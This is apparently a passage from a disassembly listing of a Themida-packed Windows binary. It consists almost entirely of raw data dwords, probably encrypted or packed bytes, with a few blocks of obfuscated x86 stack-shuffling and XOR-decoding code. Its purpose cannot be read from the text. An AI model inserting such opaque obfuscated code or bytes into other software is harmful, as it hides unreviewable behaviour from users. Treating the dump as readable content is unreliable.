38h, 9B810A4Fh, 7DEEDC6Ch, 0C849A3F2h dd 14AD54F5h, 37251973h, 49A3F2C6h, 25E43E11h, 63FE2CB1h dd 4F7C2509h dd 8395CCB6h, 3732h, 0CEBC6C00h, 49A3F25Dh, 1FEBD5A8h dd 0F389810Ah, 0F2E45543h, 6E2F49A3h, 1C06A73Eh, 0C5752550h dd 0A3F266D7h, 0F4DEB149h, 0A3F23DAEh, 95EF4A49h, 0FE2CB125h dd 0E4F60963h, 0C269FC2Ch, 9F71BBF6h, 35DE1E49h, 18897707h dd 63499F71h, 0C086EF90h, 1748D0E8h, 0E5338E78h, 0D76C0B3Bh dd 0BE650030h, 0FF958D15h, 9EB42B11h, 0BED55847h, 9DB2305Ah dd 4E531A1Ah, 2A3197Bh, 0B54B1E18h, 9D44DD0Ch, 0A1131A04h dd 6C9B810Ah, 0F0912AD1h, 497C2596h, 8E7811B8h, 75252375h dd 0A3F21687h, 0A48E6149h, 7AD473A3h, 0B94C7C25h, 888F7912h dd 0B411D416h, 4AEB1CAEh, 4F000000h, 2F89810Ah, 9FCC7525h dd 0DCC65F06h, 0A3F22596h, 439D7049h, 16877525h, 6149A3F2h dd 0EC9CA48Eh, 1F2EA769h, 2A14E60Ah, 6EFE2C5Eh, 0A3F20F80h dd 1E875A49h, 1B9067D0h, 86203AFh, 3232E4F6h, 6C000000h dd 0DF796C3h, 89810A41h, 0C637252Fh, 0D349A3F2h, 0B1251E78h dd 16877525h, 6149A3F2h, 0F23AAB99h, 0B28549A3h, 0BA538211h dd 8F907A13h, 0F66CC661h, 877525E4h, 49A3F216h, 0E78E275Ah dd 0FD2BC64Eh, 0A74049D4h, 3562F192h, 7DADAE98h, 0B6A454EAh dd 49A35445h, 0BAD3BD90h, 9ED3B3EEh, 88275349h, 912C5AE1h dd 0F13F7AEAh, 0C6DDE46Dh, 13B43D5Ch, 0BC6AB447h, 0BD64F98Ch dd 0C553FA8Dh, 3B69EA1Ch, 0BF58FFA0h, 322AB2D5h, 3AC7F39Ch dd 28CF700Dh, 0AF9DA58Fh, 479D1E39h, 3EEC8154h, 0E2FA08Eh dd 0A77A4397h, 810AF1BDh, 2DCE699Bh, 25C214D3h, 0F2168775h dd 655349A3h, 49A3F1F4h, 11E46C3Fh, 5FF62627h, 0D4B42605h dd 1CAEB411h, 8DF454D7h, 5DF13554h, 247F73h, 0AE30000h dd 0D26D9B81h, 3725D731h, 49A3F2C6h, 25E43E11h, 63FE2CB1h dd 5EF724CDh, 0E4F6A874h, 4B32h, 810AA800h, 37252F89h dd 49A3F2C6h, 0C25B8AD3h, 87E1821Bh, 9FCC7525h, 0DCC65F06h dd 4F7C2510h, 0F262D3C1h, 0DAAD49A3h, 0FF99239h, 0AF45E00Eh dd 21C3C12Ch, 0C6B04D5Eh, 0F8A8F6FAh, 0E3068375h, 55295FF5h dd 49A3CDE4h, 0A6725C2Fh, 0C269FC2Ch, 3999119h, 0A2D0FB15h dd 2EC39647h, 4FE5DD65h, 91493861h, 232F341h, 0DAE4975h dd 27CF27A4h, 16B7065Fh, 2FB8E86Fh, 24BD6403h, 1244ED83h dd 0E78E957Fh, 630232B7h, 0F94F1BC2h, 0D0FF94A2h, 81F2E090h dd 0CCFB7212h, 6AB40FF9h, 63F98CBCh, 73CF31E0h, 64FDA443h dd 0B3B7D3FBh, 212D2EC9h, 0BEA8495Ah, 45E010B7h, 4DE8179Eh dd 9C453BA6h, 92EDD76Ah, 0CB6A9A84h, 0B1DF8836h, 0C0578716h dd 12A5D5D6h, 3EA6Bh, 5E600000h, 6AFB2C7Ch, 790C3CC3h dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h dd 0B14C7A01h, 0B857830Ah db 11h, 67h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] pop esp push 7210h mov [esp], ecx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push ebx push 2F713DEDh pop ebx xor ebx, 297CBAB8h mov ecx, ebx mov ebx, [esp] add esp, 4 push esp mov eax, [esp] add esp, 4 push 4D7Dh mov [esp], ecx pop dword ptr [eax+8] mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_544543 ; --------------------------------------------------------------------------- dw 0B15Dh dd 0B24763E9h, 8F0FB88Ah, 0C503060Dh, 0E0FE0FFh, 32344654h dd 72277D64h, 8D8D0D43h, 60D908Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 94C35343h, 0C1364C97h, 3A23BE66h dd 1AD98D89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 113B4C3h, 85C781B2h, 607101Dh, 72F0h dd 0EF816660h, 0BFBBD53Dh, 615C1AD5h, 330585C7h, 607h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 858FB8C3h, 283B3DBAh, 0B5FFF024h, 6070859h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 56C35141h dd 820F3CEFh, 6, 14B59D29h, 95FF0607h, 6071859h, 51D8589h dd 6A0607h, 0D6995FFh, 0C08B0607h, 0B97269EBh, 0C4FDA033h dd 8EAC4235h, 564C3747h, 653B587Dh, 42EFFC42h, 952D5A2Eh dd 558C7396h, 79CEBE57h, 558855CFh, 29B9C5Bh, 45C334BBh dd 0D01E934Dh, 5426B0A0h, 87672370h, 7280E7EFh, 7A6E1AD6h dd 0AB9DA771h, 2B898CE7h, 0FF77C18Dh, 0CCF8AA31h, 0A1D19653h dd 6711C11Fh, 0B04781D5h, 0C67BBBE7h, 17A9EBFh, 0E87BEC6Ch dd 13h, 49BD9E78h, 0DB5BCA41h, 6BE1EA5Bh, 0F1B56B02h, 8986D5DAh dd 71115B5h, 8D895F06h, 6072A11h, 68B8C781h, 8B660000h dd 1A01B8DAh, 9D8B0000h, 6071DDDh, 6653178Bh, 815BD88Bh dd 3411DCC2h, 5EF85117h, 206DF281h, 9D2902BCh, 6070AB1h dd 0F090EA81h, 0CE8121EFh, 50D06D80h, 0CE952h, 0C2F70000h dd 0E242DBB4h, 0B3A438C5h, 78F49F3h, 68A0Fh, 0BD890000h dd 6070591h, 8B04EF83h, 850F48CFh, 19h, 2BE9h, 97BAF700h dd 0A083C8E2h, 0CBB5E5ADh, 0DF8562EBh, 1CD89F0Bh, 8DE9F937h dd 0E3FFFFFFh, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h, 7DD362A1h dd 927B8D8Dh, 0B509060Dh, 6070F29h, 1AD98D89h, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 67EEF3C3h, 0F08BE2A8h, 101D85C7h, 67D80607h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 9057D7C3h, 6A59589h, 85C70607h, 6073305h, 0 dd 2669BD8Bh, 0B5FF0607h, 6071E25h, 0DE8h, 0DAD3D100h dd 3C61978Fh, 4ABAE062h, 84B7BD28h, 5995FF5Fh, 6A060718h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 40E9C352h, 0FAD6127Dh, 0FAB3CF8h, 17B8F0BFh dd 6A54817Ah, 6995FF00h, 8B06070Dh, 926FEBC0h, 3FEA119Ah dd 7118D484h, 0FC345675h, 0A27B9719h, 126B11DDh, 4A6E2A64h dd 5DCBC704h, 0A25769CFh, 4F30E161h, 3FB7A9F4h, 0E3230C8Bh dd 576EE177h, 8328F0D1h, 5B689740h, 4C7B721h, 0CF89D862h dd 4329FE5h, 1BE13AEFh, 0BBFB2023h, 3529052Fh, 54B1EE95h dd 0E261C565h, 66C8EF22h, 2651B75Bh, 0C98D437Bh, 0B42146C2h dd 8E50F5F0h, 8D8DC263h, 60D93A7h, 1F559589h, 8D890607h dd 6071AD9h, 32B96660h, 0BBBF66FDh, 85C7619Dh, 607101Dh dd 6234h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 8EC35242h, 2E9ECBB2h, 0F8E61B9Eh, 330585C7h, 607h dd 0F98A0000h, 0A21B5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 1BD4A5C3h, 59A90E94h dd 800F5413h, 0 dd 185995FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0A8F051C3h, 30DF81D5h, 6A4DD818h dd 6995FF00h, 8B06070Dh, 371AEBC0h, 0B92A2124h, 462D05BBh dd 608184DAh, 0F88672D0h, 0C929E138h, 0BE93EDC6h, 7E852h dd 36440000h, 0C4A54AE9h, 605BF81Dh, 860F9DB0h, 3, 61D7B70Fh dd 61F2C381h, 0C92B0000h, 0C1BF0F50h, 1934FF58h, 0E95AC38Bh dd 13h, 2B42DAACh, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h, 81065255h dd 0D05B88EAh, 40B8663Bh, 0D4F281F9h, 8170A705h, 56093CC2h dd 852B524Ah, 60729F5h, 0E90B048Fh, 5, 905D7291h, 4E983CEh dd 9E9h, 3FD06300h, 60047DEAh, 0F981593Dh, 0FFFF9EB4h dd 0FF9B850Fh, 5760FFFFh, 94BABF66h, 8D8B605Ah, 60728F5h dd 0DE9h, 0E6E77500h, 355A26FEh, 51458F78h, 6161C404h dd 955B8D8Dh, 6A060Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 4EE7CDC3h, 3C17CB31h, 0B50193D8h dd 60725D5h, 5C98589h, 8D890607h, 6071AD9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 23C35040h, 7737780Dh dd 0F58A7D25h, 0D18B6650h, 2D853158h, 0C706072Ah, 7101D85h dd 72E006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0B2D70B17h, 8B089CFAh, 72C7D9Dh dd 585C706h, 60733h, 0FF000000h, 72639B5h, 0D2BF0F06h dd 185995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0A86AE9C3h, 9317482Fh, 60D081F5h dd 6A3A4D41h, 6995FF00h, 8B06070Dh, 754CEBC0h, 63320C4Ch dd 2EC42046h, 170830E4h, 65A23353h, 0E49AD743h, 7C1913ECh dd 8F3F1BDDh, 0ADA95A22h, 6EA19E14h, 7A172917h, 0A587DD50h dd 6C8F293Fh, 0C53EFD42h, 13710ECCh, 93A62B0Ch, 67D609h dd 0F92BE5A3h, 7FF55973h, 8D20E41Eh, 0D96298Dh, 8D89F806h dd 6071AD9h, 0F42BE66h, 0C7D3B70Fh, 7101D85h, 63E006h dd 0C7DA8B00h, 7330585h, 6, 0A8BF6600h, 31B5FF0Ah, 0E8060715h dd 14h, 3EB2F386h, 1EF29B2Ch, 45EA57E1h, 65FC80Eh, 15D25C5Dh dd 14E8h, 0B866D700h, 0EF84C81h, 5C2AC205h, 0ADC68931h dd 1485E9BBh, 5E5F56F6h, 5995FF5Ah, 81060718h, 4A7AB3D0h dd 0FF006A75h, 70D6995h, 0EBC08B06h, 8B3AB909h, 0A9E54939h dd 5FE998E6h, 52000001h, 0E860D48Bh, 0 dd 45ED815Dh, 8B060D96h, 453D0842h, 0F782638h, 13885h dd 0C428B00h, 0D3184A8Bh, 0B305BBC8h, 0C3335FFAh, 8904E883h dd 71AD985h, 4588B06h, 428BF88Bh, 184A8B10h, 5BBEC8D3h dd 33D86B6Eh, 83C72BC6h, 0E883FCE0h, 1D858904h, 8B060710h dd 85891442h, 6073305h, 5318428Bh, 0B0E9h, 85B5FF00h, 0E906070Eh dd 0B9h, 5D1B5FFh, 0AEE90607h, 0FF000000h, 712B5B5h, 0A3E906h dd 0B5FF0000h, 6071171h, 98E9h, 59B5FF00h, 0E9060708h dd 8Dh, 1351B5FFh, 82E90607h, 0FF000000h, 72639B5h, 77E906h dd 0B5FF0000h, 6071531h, 6CE9h, 0E9B5FF00h, 0E906070Bh dd 61h, 124DB5FFh, 56E90607h, 0FF000000h, 707C5B5h, 4BE906h dd 0B5FF0000h, 6072D31h, 40E9h, 69B5FF00h, 0E9060704h dd 35h, 1E25B5FFh, 2AE90607h, 0FF000000h, 70A21B5h, 1FE906h dd 0B5FF0000h, 6072039h, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h dd 0D96A68Dh, 0FFC80306h, 5995FFE1h, 5B060718h, 1AD9858Bh dd 58390607h, 0F850F04h, 53000000h, 95FF016Ah, 6070D69h dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh dd 60700A1h, 97948D8Dh, 4189060Dh, 0E8C38B01h, 13h, 38E119h dd 3B18EE0Ah, 2D533925h, 8045DCB4h, 5FC1BE20h, 0BB665656h dd 5E58FB81h, 6B0AC781h, 1FBA0000h, 810A2A42h, 0D5D872C2h dd 0F6BF0FF5h, 0F48037FFh, 81F559C1h, 9DB436C1h, 8106B34Dh dd 0A9554EF1h, 8143B728h, 0CDF192C1h, 89C18B19h, 0D98B660Fh dd 8D76EF81h, 10E83AF7h, 0AE000000h, 4B076150h, 0FCE0D4CCh dd 0DCCA9805h, 0FC9E2703h, 72C7815Eh, 0E83AF78Dh, 0Eh dd 5DB4D9Dh, 88873A0Dh, 89C0D317h, 0BF0F36C7h, 0F4A5EF6h dd 1B85h, 0D9B70F00h, 2DE9h, 43E9D100h, 74EC17BBh, 3D3D9C25h dd 6B2F4154h, 18481A60h, 5840Fh, 2EBE0000h, 0E962D8DBh dd 0FFFFFF70h, 7EC0B275h, 509AAB8Ah, 85C6493Dh, 60709CDh dd 30DF6856h, 0B5FFA9C5h, 6070D99h, 7038858Dh, 0D0FF060Ah dd 1A018D8Dh, 6A510607h, 89B5FF40h, 0FF06071Eh, 719B5B5h dd 0FFD0FF06h, 71E89B5h, 0B5B5FF06h, 0E8060719h, 14h, 6A80AFF9h dd 48D15F09h, 78ADC599h, 32C32B57h, 0D42942A0h, 0EF835F5Fh dd 242CC104h, 2424C102h, 243C0302h, 68241CF7h, 0 dd 370C8B5Eh, 0D75AF181h, 0E9815F6Fh, 6579E4E3h, 0DEDCE981h dd 8F510C72h, 0EE833704h, 343B4E03h, 17850F24h, 0E9000000h dd 25h, 437CB7A0h, 0CC62B01Ch, 1CBA5A5Dh, 2B052199h, 0BEE9BD59h dd 2CFFFFFFh, 0F943C7CCh, 0C18899Bh, 958815BEh, 899D8DC3h dd 8B06070Ch, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 0ABE9C98Bh dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h dd 1E80097h, 3D94E7A6h, 37318332h, 0DDE93EF5h, 68000012h dd 60D9BD4h, 0F9E372E9h, 9CE868FFh, 68E9060Dh, 68FFF9E3h dd 60D9DB0h, 0F9E35EE9h, 9EE068FFh, 54E9060Dh, 68FFF9E3h dd 60D9F64h, 0F9E34AE9h, 0A00068FFh, 40E9060Dh, 68FFF9E3h dd 60DA0A2h, 0F9E336E9h, 0A15D68FFh, 2CE9060Dh, 68FFF9E3h dd 60DA201h, 0F9E322E9h, 0A39368FFh, 18E9060Dh, 68FFF9E3h dd 60DA46Fh, 0F9E30EE9h, 0A5D468FFh, 4E9060Dh, 68FFF9E3h dd 60DA6E6h, 0F9E2FAE9h, 0A8E168FFh, 0F0E9060Dh, 68FFF9E2h dd 60DA9CEh, 0F9E2E6E9h, 0C85D8EFFh, 0C5608C33h, 0C05B8930h dd 0BC55842Bh, 0B44D8027h, 0B16C841Fh, 0A74EE37Eh, 9F46DB7Ah dd 9E45DA6Dh, 7542D76Eh, 58A81907h, 0DCF34396h, 0BF301ECEh dd 0A439658h, 2C814D37h, 50D369FCh, 0F0FF2D57h, 1B341ED3h dd 3CD16494h, 5DF3EB73h, 0E70F7FDAh, 0E5CFB647h, 0DA45EFDDh dd 2D0047A2h, 0A94DBA86h, 6391439Ch, 6E9A21C8h, 7DB828CFh dd 0EACD73B3h, 53B9A5Ch, 3AA11FB6h, 5000000h, 0F48A820Ah dd 8754C144h, 235EEBB6h, 2971F339h, 0C99C47A2h, 0C05D8A33h dd 7D968019h, 9C0944B1h, 808E7143h, 0B6A9973Eh, 0DF451Fh dd 0C46D0000h, 0BD56FD98h, 7F69FC2Eh, 4F7C25B3h, 8C760FB6h dd 15BC5B8Bh, 23CA5B8Eh, 0F6E46C9Ch, 49A3F285h, 49DC0FD0h dd 0EE7107A8h, 12A0146h, 0A98A453Bh, 59EA5BC4h, 9A213A24h dd 4A36CB6Ah, 49A35C94h, 0C85DF828h, 0AF56F121h, 0F0867E06h dd 0D0679740h, 60A69029h, 47A26C26h, 9059EEC1h, 0CA7A1008h dd 0AA45711Ah, 9C3B65D6h, 0F3DDB043h, 949E00ADh, 62F8CB41h dd 56EB86B9h, 13E97CAFh, 0F07E2DEEh, 5064E514h, 58000010h dd 52F98E27h, 4BF28726h, 46ED821Dh, 42E97E17h, 46E1760Fh dd 0A540732Eh, 0A13C6910h, 0A033650Ch, 0A134640Bh, 0E3D13F0Ch dd 43965772h, 2CD4A6BDh, 2CD368F9h, 0E94C7BFCh, 859BB22Bh dd 47E8899Dh, 0CD362EB1h, 0C1EF4D9Ah, 7222D0D7h, 0A3EA1384h dd 0A18B5E49h, 8A820AD5h, 18406F4h, 0E7AF47A3h, 9CE188F9h dd 5F00D343h, 0E17FECB8h, 0C9AC439Ch, 0D15C797Fh, 0C16A1FB5h dd 0BE4CF38Eh, 9CD55FD0h, 36D7AA43h, 0D541B2A0h, 0B98C439Ch dd 0D5DBCFh, 2C3F0000h, 0B24D7BFCh, 0BD58840Bh, 3BDC7D16h dd 47DA0D94h, 52D908B1h, 58E78825h, 4FE88F2Ah, 0CA804C65h dd 5749A3EEh, 3CE382AEh, 965930DBh, 58F91B3Dh, 0AA3D6D6Eh dd 0DF3E6E15h, 4F572FF7h, 7F26C7CAh, 0C0564ED6h, 0A2D098D2h dd 0CA603347h, 9FBB2C1Ah, 3306439Ch, 0F1794249h, 6D7563F9h dd 0A4419504h, 0DB8B3BD1h, 92F47CEDh, 0AF4C73Dh, 0A63BD609h dd 6339CCFFh, 0F07FB644h, 3CCE4F7Eh, 4400000Fh, 46ED8213h dd 3FE67B1Ah, 3AE17611h, 36DD720Bh, 42DD7203h, 0A93C6F2Ah dd 0A5406D14h, 9C376910h, 95306007h, 0D7C53300h, 43965666h dd 2CC89AB1h, 25D368F9h, 0F2168775h, 0A06149A3h, 9730D772h dd 0DB0B0CF6h, 0CFFDA63Ch, 0AF48D34h, 7DAC5503h, 2C2EFAE4h dd 34C269FCh, 0F2BA88B1h, 5EF153Fh, 2653D404h, 2DCE6999h dd 0B74CED86h, 0AB7FE210h, 4A69AB12h, 0D65D04A5h, 57F221A6h dd 6F8C21B6h, 0C35951D9h, 0A2D62BD5h db 47h byte_5A6531 db 0E6h, 25h, 0F3h ; DATA XREF: Themida_:0054CA5Ao dd 2C38BF60h, 0B216B4BEh, 0CA6058E0h, 11A41ADCh, 4BF2C54Ah dd 4BE614BDh, 0BEB63E61h, 0B3C53A28h, 0DE04405h, 199ECE77h dd 18AD4EE9h, 0D0A64171h, 0F5CD9745h, 741596C5h, 7C00000Eh dd 7E25BA4Bh, 771EB352h, 7219AE49h, 6E15AA43h, 7A15AA3Bh dd 0E174A762h, 0DD78A54Ch, 0D46FA148h, 0CD68983Fh, 0FFD6B38h dd 4396559Eh, 2C00D2E9h, 34C269FCh, 0D4BE598Bh, 9B3129B1h dd 760F42EBh, 64C36CFh, 47A2F258h, 0F2BB5023h, 0EEDC726Ah dd 419BEA6Ch, 511DC497h, 3D95EAE4h, 2FE02E11h, 15BC5986h dd 9C39927Ch, 3E25BCC8h, 4Dh, 9C820AA2h, 9C32D36Eh, 0A336DAAEh dd 881EF147h, 0A64D7305h, 9CBB47B8h, 56BF9243h, 0A30C30A4h dd 99C27994h, 0D3DBC5FDh, 0BF97A023h, 3DA111BFh, 3CE382AEh dd 86B8B9A3h, 0FF6A56EBh, 3F439C21h, 3CE3780Fh, 4FD0770Ah dd 0DB7h, 8A820AC5h, 0A69444F4h, 49A3F235h, 7DC3AD80h dd 479888BDh, 52FB9164h, 47EE8322h, 4BD98017h, 2518AC8h dd 735DD7B1h, 3AD0C850h, 8B7D374Ch, 2E41C441h, 0A84298AFh dd 3B0E08F2h, 39CCFCA5h, 3ACDFDA4h, 6A62EA93h, 1838E6D4h dd 45F53B88h, 8216E657h, 745E3137h, 53C4B27Ah, 9E378216h dd 6E15B0DDh, 0BD9334D5h, 0EE4E9452h, 44F071A0h, 4C00000Dh dd 4EF58A1Bh, 47EE8322h, 42E97E19h, 3EE57A13h, 4AE57A0Bh dd 0B1447732h, 0AD48751Ch, 0A43F7118h, 9D38680Fh, 0DFCD3B08h dd 4396546Eh, 0E7D0A2B9h, 49A3F27Ah, 861C149Ch, 98894B98h dd 0AD850847h, 3409D6Dh, 330600EAh, 3CC4F49Dh, 20C76693h dd 8042B387h, 0F28D4396h, 23E02578h, 29CA6B39h, 2ABDED94h dd 9252DA83h, 0AC735AD3h, 2BC162AFh, 95518F3Dh, 0B1875A41h dd 0F07BE970h, 0C01A9BCAh, 0C800000Ch, 0C269FE97h, 0BB62F796h dd 0B65DF28Dh, 0B259EE87h, 0B651E67Fh, 15B0E39Eh, 11ACD980h dd 10A3D57Ch, 11A4D47Bh, 5341AF7Ch, 439653E2h, 2C44162Dh dd 3BC269FCh, 2DD66C0Bh, 647D67FAh, 0D81E2881h, 19AEBBFDh dd 6B5DFh, 820A4300h, 0D15545C2h, 0E15F07F7h, 9CC42DA9h dd 0BD53F4ECh, 983985CFh, 0D76D4047h, 0D267FE2Eh, 7F5FA124h dd 91F305E7h, 0F176A6A7h, 0DB8223BEh, 9692A20Fh, 443CC443h dd 9212C0AEh, 42DD4195h, 2114ADB4h, 0A27819E5h, 0F07B576Dh dd 2425A6D5h, 2C00000Ch, 2ED56AFBh, 27CE6302h, 22C95EF9h dd 1EC55AF3h, 2AC55AEBh, 91245712h, 8D2855FCh, 841F51F8h dd 7D1848EFh, 0BFAD1BE8h, 4396524Eh, 2CB08299h, 847DA1FCh dd 266BA4DDh, 157EB792h, 0B92220F8h, 465A0EF0h, 8229CAF8h dd 852CCBFBh, 0F9FF49A2h, 19AF1CDCh, 781341EAh, 6049A8Eh dd 0E7FE0000h, 49A3F27Ah, 861C149Ch, 98888E98h, 60F6C947h dd 3DD807B0h, 1213FD96h, 8E2955E2h, 58990AF8h, 11E44396h dd 434DB70h, 9921CA71h, 6F1D0BA1h, 3A419558h, 0D22C9167h dd 0AFDEF07Bh, 0B822Eh, 0BC598A00h, 0B9548027h, 0B44F7D24h dd 0B049781Fh, 0B041741Bh, 0AD68801Bh, 0AB52E77Ah, 0A34ADF7Eh dd 9A41D671h, 6936CB6Ah, 529C0DFBh, 0D0E74396h, 74FC2CFEh dd 0A3F21586h, 0EC8D6049h, 0EA7DAD56h, 0A7C0AA43h, 3567F020h dd 0C162FBA2h, 50DE371Ah, 0AEBC478Eh, 5689519h, 0AF90000h dd 6F48A82h, 4798895Bh, 99346122h, 0F6F059F2h, 508D561Dh dd 29D26809h, 1BC95EF9h, 3AA4372h, 4F7F806Ah, 0E1149BCAh dd 6F10A950h, 0E78E2FC8h, 4ABBA959h, 954396EDh, 2592D8C2h dd 474396EDh, 8131C7BFh, 8312ABD8h, 750EB550h, 0ED97458Bh dd 8F624195h, 7B4D6EB9h, 0DC5D8CF0h, 0AC7h, 72079ECFh dd 6B009FCBh, 66FB96C4h, 60F590BFh, 56EB86B9h, 0B5E8A3BBh dd 0B3E0871Ch, 0ACDE851Ah, 0ADDD8419h, 4AB8851Ah, 9650EB5Ch dd 4D1F3643h, 0C269FC2Ch, 0D66C0B3Bh, 0D665002Dh, 0A230DA8h dd 0C39E2127h, 0ED583DEh, 0FA449F89h, 0AF23E1F4h, 0F3EE719h dd 0AB988C76h, 0FC000004h, 0A3F275E7h, 170F9749h, 0FC28D181h dd 9221BA61h, 831CC362h, 897B5399h, 0BF924798h, 0B5508029h dd 0AE497920h, 0A6416F18h, 72FAA3BCh, 0B3BE47Ah, 422CC56Ch dd 6FFA4C3Ah, 0F2C54195h, 7BFBC51Ch, 4DCEFDF0h, 0A23h dd 0C65BFA2Bh, 0BF54F31Fh, 0BA4FEA18h, 0B449E413h, 0B247DA0Dh dd 1144FF17h, 1744EB80h, 1042E97Eh, 939E075h, 9E0CD96Eh dd 96503FB0h, 0A1738A43h, 86A1FC2Ch, 85A4D0E4h, 0B5507D0Ch dd 0E6FB7E14h, 798C60ADh, 1F907E14h, 6A49A326h, 0D94AD97h dd 4B44ADDh, 3FC25781h, 1AEE79A0h, 49A306A9h, 609221F4h dd 11C2DBC5h, 9078FBABh, 0BD63F89Eh, 3BC6370Bh, 3E1149A3h dd 3EE580AFh, 0D660BBA5h, 89D3868h, 7861D75Ah, 214EF905h dd 6FF7DE37h, 42E519AFh, 49000001h, 0D369FC2Ch, 735DF82Ah dd 4A3D35Ah, 261EA66Fh, 7F8A290h, 0E0B347A3h, 0D7006D39h dd 4A2D439Ch, 0D6DBFAFCh, 44ED1FB5h, 0A0947E17h, 5Ch, 9C820A04h dd 0AA31D869h, 0A43ADB7Ah, 0A3F245B6h, 1CBD9049h, 0E2B60386h dd 0A7A377A0h, 45C7B5BDh, 7047A265h, 325E079Dh, 3D483CBh dd 832409FAh, 405943DCh, 9C770774h, 801F4B43h, 861F52D9h dd 0AB752EDFh, 54E2C56Bh, 0B63B4392h, 3402851Fh, 93D8140Eh dd 0A8625640h, 0C6000000h, 9ECC7525h, 0EFC35C03h, 49A3F27Eh dd 0B0CF6C9h, 0E953CDBh, 15A34ADBh, 3BDF1B92h, 634D0E21h dd 76A53262h, 7EAD34DBh, 2A33CE3h, 333BA61h, 7DE3CF64h dd 0B149A360h, 32CBF881h, 0BB51F28Bh, 50AC1D0Bh, 24F749A3h dd 0E26A333Ah, 8E35D0FCh, 0D0BE54F5h, 479BB546h, 6F18AE81h dd 6D14A93Ch, 82D1A73Ah, 78FA6504h, 891C849h, 68990000h dd 659138CDh, 608E35CAh, 5A8930C5h, 50832ABFh, 6D8520B5h dd 51E67FB2h, 4BE07DAAh, 4ADF72A4h, 3FD473A3h, 0A5160472h dd 0F043964Fh, 0F92C07D9h, 0FC2CD368h, 2C62D469h, 3BC269FCh dd 36D76C0Bh, 28Ah, 8A820AACh, 57006F4h, 4A0B47A3h, 2B9C8A1Eh dd 76439CD4h, 0BA6102A3h, 9CD481EEh, 751EAE43h, 6D06AD48h dd 0D81E2883h, 1FB5DDFDh, 224DFh, 77E74300h, 9549A3F2h dd 917F150Dh, 4798887Fh, 0B861F7CAh, 3ACDFF88h, 0C359FA93h dd 0A4282440h, 0AA94747Ch, 44CCFCA3h, 9625E556h, 0BC5D3043h dd 0B34E7D26h, 450A730Ch, 79694109h, 0DB6CFB9h, 9F78D85h dd 4195FCB7h, 0A74BF174h, 0CF363F2Bh, 8855C866h, 1903744Bh dd 0CF764C1Fh, 0ABF07B98h, 7B5FB7Ch, 8CBD0000h, 91BD64F9h dd 8CBA61F6h, 86B55CF1h, 7CAF56EBh, 0A1B954E9h, 8D22B3E6h dd 871CB9E6h, 7E13AEE0h, 7B10A7D7h, 0E15240AEh, 2C43964Eh dd 0FC2C4315h, 0B3BC269h, 5B14C56Ch, 943363CDh, 0BFD500FFh dd 760719AEh, 6B000001h, 8674FC2Ch, 49A3F215h, 56EC8D60h dd 9708F6A6h, 0E249A3F2h, 0F2CA3B0Fh, 421549A3h, 88B83F58h dd 0FAAA58EDh, 0A3F29B0Ch, 2A4BE649h, 0E7779C1Fh, 3C6FFE9Fh dd 149CBFA9h, 2DD6861Ch, 28C168FBh, 0B84EF83Eh, 360947A2h dd 8756C38Fh, 0F383439Ch, 48FD6070h, 4F396BD9h, 31A42AF4h dd 0AB1FB6A1h, 39h, 8A820A0Fh, 0A69444F4h, 49A3F235h, 7DC3AD80h dd 47A300FBh, 9E396526h, 92BE67FDh, 0DF558AF3h, 0F10841F1h dd 0B522EE07h, 0E2439C78h, 26AF31FFh, 0B41FB63Ah, 0B8h dd 69FC2C18h, 6D083BC2h, 6AFB2ED7h, 0B0E06780h, 0A4D67F15h dd 0B6E36A11h, 36D77017h, 7CAC334Ch dd 0FDA654E9h, 0A503ACDh, 49A440B4h, 833D3EC1h, 0F6E92CA1h dd 74DB0B0Ch, 3AFB5F8Bh, 0BE8BF47Bh, 7205C8F3h, 4E17AC4Dh dd 9EC006C6h, 5AF3EAD0h, 0AB3523B9h, 0E6479C16h, 0A1D47D13h dd 3F6CF322h, 0C55E05A6h, 0B5E88F24h, 0FA63022Eh, 